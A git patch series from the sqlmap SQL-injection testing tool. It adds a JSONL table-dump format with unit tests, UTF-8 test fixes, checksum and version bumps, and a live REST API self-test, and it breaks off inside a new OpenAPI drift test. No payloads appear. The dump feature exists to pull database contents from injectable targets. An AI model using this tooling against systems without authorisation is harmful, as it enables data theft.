dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL + record[unsafeSQLIdentificatorNaming(column)] = None + else: + record[unsafeSQLIdentificatorNaming(column)] = getUnicode(info["values"][i]) field += 1 @@ -686,6 +694,8 @@ class Dump(object): dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False))) self._write("|", console=console) @@ -695,10 +705,10 @@ class Dump(object): rtable.endTransaction() logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") - else: + elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") dumpFP.close() diff --git a/lib/core/enums.py b/lib/core/enums.py index 2e1881f19..137be5d02 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -238,6 +238,7 @@ class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" + JSONL = "JSONL" class HTTP_HEADER(object): ACCEPT = "Accept" diff --git a/lib/core/settings.py b/lib/core/settings.py index c9e7ef6e3..0c206a5d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.108" +VERSION = "1.10.6.109" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 8198ff8ed..77bcb44db 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -686,7 +686,7 @@ def cmdLineParser(argv=None): help="Store dumped data to a custom file") general.add_argument("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + help="Dump data format (CSV (default), HTML, SQLITE, JSONL)") general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py new file mode 100644 index 000000000..a4432e5f1 --- /dev/null +++ b/tests/test_dump_jsonl.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSONL output of the per-table dumper (Dump.dbTableValues in lib/core/dump.py). + +--dump-format=JSONL writes one self-describing JSON object per row to a +/dump//.jsonl file, streaming-safe (one independent line per +row, no surrounding array/header/footer). These tests pin the contract that an +automated consumer relies on: column order preserved (so it matches the CSV +column order and is reproducible on Python 2's unordered dict), the DB-NULL +marker (" ") mapped to JSON null exactly like --report-json, the empty string +left intact (NOT collapsed to null), and a strict one-object-per-line layout. +""" + +import json +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT + + +class _JsonlDumpCase(unittest.TestCase): + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", "limitStart", "limitStop", "csvDel", "forceDbms", "dbms")) + self._savedKb = dict((k, kb.get(k)) for k in ("forcedDbms", "dbms")) + # A DBMS leaked from an earlier test (e.g. one that uppercases identifiers) would change + # both the on-disk filename and the JSON keys, so pin a neutral, case-preserving back-end. + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-jsonl-test") + conf.dumpFormat = DUMP_FORMAT.JSONL + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _dump(self, table_values): + self.d.dbTableValues(table_values) + db = table_values["__infos__"]["db"] or "All" + path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) + with open(path) as f: + content = f.read() + return content + + def _rows(self, content): + return [json.loads(line) for line in content.splitlines() if line.strip()] + + +class TestJsonlContract(_JsonlDumpCase): + def test_one_object_per_row(self): + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "users"}, + "id": {"length": 2, "values": ["1", "2"]}, + "name": {"length": 6, "values": ["luther", "fluffy"]}, + }) + # exactly N non-empty lines, each terminated by a newline, each a standalone object + lines = content.splitlines() + self.assertEqual(len(lines), 2) + self.assertTrue(content.endswith("\n")) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "name": "luther"}) + self.assertEqual(rows[1], {"id": "2", "name": "fluffy"}) + + def test_no_header_or_footer(self): + # unlike CSV (header row) / HTML (doc scaffold), JSONL must be pure data lines + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1"]}, + }) + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(len(lines), 1) + self.assertEqual(json.loads(lines[0]), {"id": "1"}) + + def test_db_null_becomes_json_null(self): + # sqlmap stores a DB NULL as a single space (" "); the machine format must emit JSON null, + # consistent with --report-json. An empty string is a real value and must stay "". + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "a": {"length": 1, "values": [" "]}, # DB NULL marker + "b": {"length": 1, "values": [""]}, # genuine empty string + "c": {"length": 1, "values": ["x"]}, + }) + row = self._rows(content)[0] + self.assertIsNone(row["a"]) + self.assertEqual(row["b"], "") + self.assertEqual(row["c"], "x") + + def test_missing_value_is_null(self): + # a column whose values list is short for this row index must serialize as null, not crash + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1", "2"]}, + "lagging": {"length": 4, "values": ["only-one"]}, # missing index 1 + }) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "lagging": "only-one"}) + self.assertEqual(rows[1], {"id": "2", "lagging": None}) + + def test_column_order_matches_csv(self): + # The serialized byte stream must keep the (priority-sorted) column order so output is + # reproducible - even on Python 2 where a plain dict would not - and that order must be + # the SAME one CSV uses. Build the input as an OrderedDict so the expectation is fixed, + # then dump the identical data as both JSONL and CSV and compare the column sequences. + def table(): + tv = OrderedDict() + tv["__infos__"] = {"count": 1, "db": "testdb", "table": "t"} + tv["zebra"] = {"length": 1, "values": ["1"]} + tv["alpha"] = {"length": 1, "values": ["2"]} + tv["middle"] = {"length": 1, "values": ["3"]} + return tv + + jsonl_line = [l for l in self._dump(table()).splitlines() if l.strip()][0] + jsonl_order = [k for k, _ in json.loads(jsonl_line, object_pairs_hook=lambda p: p)] + + conf.dumpFormat = DUMP_FORMAT.CSV + csv_path = os.path.join(self.tmp, "testdb", "t.csv") + if os.path.exists(csv_path): + os.remove(csv_path) + self.d.dbTableValues(table()) + with open(csv_path) as f: + csv_header = f.read().splitlines()[0] + csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] + + self.assertEqual(jsonl_order, csv_order) + + def test_unicode_value_not_escaped(self): + # ensure_ascii=False keeps multibyte data readable; it must round-trip through json.loads + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "name": {"length": 6, "values": [u"\u0107evap"]}, + }) + self.assertEqual(self._rows(content)[0]["name"], u"\u0107evap") + + +if __name__ == "__main__": + unittest.main() From d570f8e91f820c818834d63ba0c5a8636b783b64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 16:09:41 +0200 Subject: [PATCH 015/165] Fixing CI/CD issues --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- tests/test_dump_jsonl.py | 7 +++++-- tests/test_report.py | 4 +++- 4 files changed, 12 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 16b7af2c6..b51b3886c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -72448bcfc929496fb0333480a780163a395f65fff92898ad8108daf54a12799b lib/core/settings.py +70ddf88d4efda5486853c3616ba64114757a836640585ddae309dd3d335d697a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -577,7 +577,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -c706c5dad287e2e8cf707f7aa5eeb9394eddc6ef3a4fea809babf3ae77e8d7fa tests/test_dump_jsonl.py +9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py @@ -589,7 +589,7 @@ cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pag 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py -48bbe8403fbc52d16998b1af4fe2180d3637add0b14cd16dd71690113e96664f tests/test_report.py +67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c206a5d3..d71903209 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.109" +VERSION = "1.10.6.110" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py index a4432e5f1..9dc5cac8a 100644 --- a/tests/test_dump_jsonl.py +++ b/tests/test_dump_jsonl.py @@ -15,6 +15,7 @@ marker (" ") mapped to JSON null exactly like --report-json, the empty string left intact (NOT collapsed to null), and a strict one-object-per-line layout. """ +import io import json import os import shutil @@ -66,7 +67,9 @@ class _JsonlDumpCase(unittest.TestCase): self.d.dbTableValues(table_values) db = table_values["__infos__"]["db"] or "All" path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) - with open(path) as f: + # sqlmap writes the dump file as UTF-8; read it the same way (not the platform default, + # which is cp1252 on Windows CI and would mojibake multibyte values) + with io.open(path, encoding="utf-8") as f: content = f.read() return content @@ -145,7 +148,7 @@ class TestJsonlContract(_JsonlDumpCase): if os.path.exists(csv_path): os.remove(csv_path) self.d.dbTableValues(table()) - with open(csv_path) as f: + with io.open(csv_path, encoding="utf-8") as f: csv_header = f.read().splitlines()[0] csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] diff --git a/tests/test_report.py b/tests/test_report.py index 86eb9d9cf..63c4fd7e0 100644 --- a/tests/test_report.py +++ b/tests/test_report.py @@ -15,6 +15,7 @@ A regression here is a divergence between the API and the report - the exact bug this design exists to prevent. """ +import io import json import os import sys @@ -200,7 +201,8 @@ class TestWriteReportJson(_CollectorCase): os.close(fd) try: api.writeReportJson(self.c, path) - loaded = json.load(open(path)) + with io.open(path, encoding="utf-8") as f: # explicit UTF-8 + closed handle (no ResourceWarning, no cp1252 on Windows) + loaded = json.load(f) # core shape == API /scan//data, plus a meta wrapper self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) self.assertEqual(loaded["data"][0]["value"], "admin") From 91bf58b54e84b2802650641cefaff60849fa9540 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 16:58:57 +0200 Subject: [PATCH 016/165] Adding --api-test for CI/CD --- .github/workflows/tests.yml | 7 +- data/txt/sha256sums.txt | 11 +-- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 157 ++++++++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 +- sqlmap.py | 5 +- tests/test_openapi_drift.py | 114 ++++++++++++++++++++++++++ 8 files changed, 292 insertions(+), 10 deletions(-) create mode 100644 tests/test_openapi_drift.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 58aeb75b4..18afa00b4 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -47,7 +47,10 @@ jobs: run: python -B -m unittest discover -s tests -p "test_*.py" - name: Smoke test - run: python sqlmap.py --smoke + run: python sqlmap.py --smoke-test - name: Vuln test - run: python sqlmap.py --vuln + run: python sqlmap.py --vuln-test + + - name: API test + run: python sqlmap.py --api-test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b51b3886c..9ad288a4d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,7 +180,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -885042ed021e60f1739e2a849e3405cc3a4c2a67a5a169a30399d1c53446460f lib/core/optiondict.py +3ec59b5eb336d9808d28496f1cbbad716b4a0e276b5399023142826e460e3fd2 lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -188,18 +188,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -70ddf88d4efda5486853c3616ba64114757a836640585ddae309dd3d335d697a lib/core/settings.py +d9180ce5490c781b8f8771b0d5754d27f550aae963ad36731e0d0941a0f8590c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -8bbc9312147ee8ca719860bc7ad472eac25230e4d46976fbb405efe43fe15ef6 lib/core/testing.py +daf2ad65fcea430b6272e3c538022c9871fdc3aba78f71669130fb0bc954c78e lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -3f298a58a41225ef67c57b2cf08c71f2eacbab8f98463b4461f45933d6a82f69 lib/parse/cmdline.py +053079fe796dfce09cf94ac6f094043f2dfa393b5631387fadb4f735cf1ac6a4 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -492,7 +492,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -d5128ba488b85080a18df85cc08b58f0baeac59494eb5ef43b9e34d66538f091 sqlmap.py +f8974aac701639b54ca34b0e11803c836e5cb1e1c5a6eaf275315949b6487310 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -585,6 +585,7 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has 205e84827461101a78b2cffaa3de49795a1214e92276fc7fd40f3456657062b9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d9daa2d36..c7e8c9717 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -273,6 +273,7 @@ optDict = { "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", + "apiTest": "boolean", }, "API": { diff --git a/lib/core/settings.py b/lib/core/settings.py index d71903209..b5d9d70c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.110" +VERSION = "1.10.6.111" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index bcb773fa7..8493f2cf5 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -6,12 +6,14 @@ See the file 'LICENSE' for copying permission """ import doctest +import json import logging import os import random import re import socket import sqlite3 +import subprocess import sys import tempfile import threading @@ -20,17 +22,22 @@ import time from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import getSafeExString from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import shellExec from lib.core.compat import round +from lib.core.compat import xrange from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_VERSION def vulnTest(): """ @@ -224,6 +231,156 @@ def vulnTest(): return retVal +def apiTest(): + """ + Runs a basic live test of the REST API: launches the server in a separate process + ('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real + server + client round-trip, without launching an actual scan. A separate process (rather + than an in-process thread) isolates the single-threaded server from the client's GIL and + from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky. + """ + + retVal = True + + # pick a free port the same way vulnTest() does + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() + + username, password = "test", "test" + apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py")) + + try: + devnull = subprocess.DEVNULL + except AttributeError: + devnull = open(os.devnull, "wb") + + process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull) + + base = "http://%s:%d" % (address, port) + + def _call(path, data=None, authorize=True): + # NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap + # process installs a global keep-alive opener and patches http.client, which makes a + # library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request + # (Connection: close, read to EOF) is hermetic and immune to all of that. + method = "POST" if data is not None else "GET" + lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)] + if authorize: + lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False)) + body = getBytes(json.dumps(data)) if data is not None else b"" + if data is not None: + lines.append("Content-Type: application/json") + lines.append("Content-Length: %d" % len(body)) + lines.append("Connection: close") + request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(10) + try: + s.connect((address, port)) + s.sendall(request) + raw = b"" + while True: + chunk = s.recv(8192) + if not chunk: + break + raw += chunk + except Exception as ex: + logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex))) + return None, None + finally: + s.close() + + head, _, payload = raw.partition(b"\r\n\r\n") + try: + code = int(head.split(b"\r\n")[0].split(b" ")[1]) + except (IndexError, ValueError): + return None, None + try: + return code, json.loads(getText(payload)) + except ValueError: + return code, None + + try: + # wait for the server process to come up (or die trying) + for _ in xrange(200): + if process.poll() is not None: + logger.error("API test: server process exited prematurely (address: '%s')" % base) + return False + code, data = _call("/version") + if code == 200 and data and data.get("success"): + break + time.sleep(0.1) + else: + logger.error("API test: server did not come up (address: '%s')" % base) + return False + + logger.info("REST API server running at '%s'..." % base) + + results = [] + + def _check(name, condition): + results.append((name, bool(condition))) + if not condition: + logger.error("API test: check '%s' FAILED" % name) + + # GET /version - success envelope + MAJOR-only integer api_version + code, data = _call("/version") + _check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version")) + + # the auth hook must reject an unauthenticated request + code, _ = _call("/version", authorize=False) + _check("auth-401", code == 401) + + # GET /task/new - mint a task + code, data = _call("/task/new") + taskid = data.get("taskid") if data else None + _check("task-new", code == 200 and data and data.get("success") and taskid) + + # POST /option//set then read it back via /get and /list (JSON round-trip + IPC) + code, data = _call("/option/%s/set" % taskid, {"flushSession": True}) + _check("option-set", code == 200 and data and data.get("success")) + + code, data = _call("/option/%s/get" % taskid, ["flushSession"]) + _check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True) + + code, data = _call("/option/%s/list" % taskid) + _check("option-list", data and data.get("success") and isinstance(data.get("options"), dict)) + + # GET /admin/list - the IP-bound listing (our client is the task's creator) must see it + code, data = _call("/admin/list") + _check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {})) + + # a bogus task ID must produce a failure envelope (not a crash) + code, data = _call("/option/%s/list" % "nonexistent") + _check("invalid-task", data is not None and data.get("success") is False) + + # GET /task//delete - tear the task down + code, data = _call("/task/%s/delete" % taskid) + _check("task-delete", data and data.get("success")) + + if all(ok for _, ok in results): + logger.info("API test final result: PASSED") + else: + retVal = False + logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok)) + finally: + try: + process.terminate() + process.wait() + except Exception: + pass + + return retVal + def smokeTest(): """ Runs the basic smoke testing of a program diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 77bcb44db..648235604 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -875,6 +875,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--disable-json", dest="disableJson", action="store_true", help=SUPPRESS) @@ -1129,7 +1132,7 @@ def cmdLineParser(argv=None): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index da6b3ab0c..199875656 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -188,6 +188,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.apiTest: + from lib.core.testing import apiTest + os._exitcode = 1 - (apiTest() or 0) else: from lib.controller.controller import start if conf.profile: @@ -600,7 +603,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py new file mode 100644 index 000000000..b38fd16eb --- /dev/null +++ b/tests/test_openapi_drift.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Contract test: the OpenAPI spec (sqlmapapi.yaml) must stay in lock-step with the +REST API actually served by lib/utils/api.py. The spec is hand-maintained, so it +is the exact thing that silently drifts when an endpoint is added/renamed/retyped. + +This walks the live Bottle route table (every @get/@post registers at import time) +and the spec's `paths:` block, and asserts the (method, path) sets are identical +in BOTH directions - no undocumented route, no phantom spec entry - plus that the +spec's advertised version matches the runtime RESTAPI_VERSION. 